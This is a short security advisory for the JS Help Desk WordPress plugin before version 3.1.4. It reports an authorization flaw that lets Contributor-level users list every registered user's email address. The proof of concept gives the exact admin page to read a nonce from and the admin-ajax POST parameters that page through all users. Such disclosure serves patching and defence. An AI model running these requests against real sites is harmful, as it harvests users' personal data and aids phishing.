JS Help Desk < 3.1.4 – Contributor+ User Email Disclosure | CVE 2026-14931

Description

The plugin grants a support-agent capability to the Contributor role on activation and does not perform a capability check on a user-listing handler, allowing Contributor-level users to enumerate the email addresses of all registered WordPress users.

Proof of Concept

Prerequisites: A Contributor account. The support-agent capability is granted to the Contributor role automatically on plugin activation (default). No paid addon required.

1. As a Contributor, open /wp-admin/admin.php?page=ticket&jstlay=addticket and read the get-user-list-ajax nonce emitted inline: task: "getuserlistajax", ... "_wpnonce":"<NONCE>"

2. Enumerate users (increment userlimit to page through all):
   POST /wp-admin/admin-ajax.php
   action=jsticket_ajax&jstmod=jssupportticket&task=getuserlistajax&userlimit=0&_wpnonce=<NONCE>

3. The response lists every registered user's email address (and username/display name).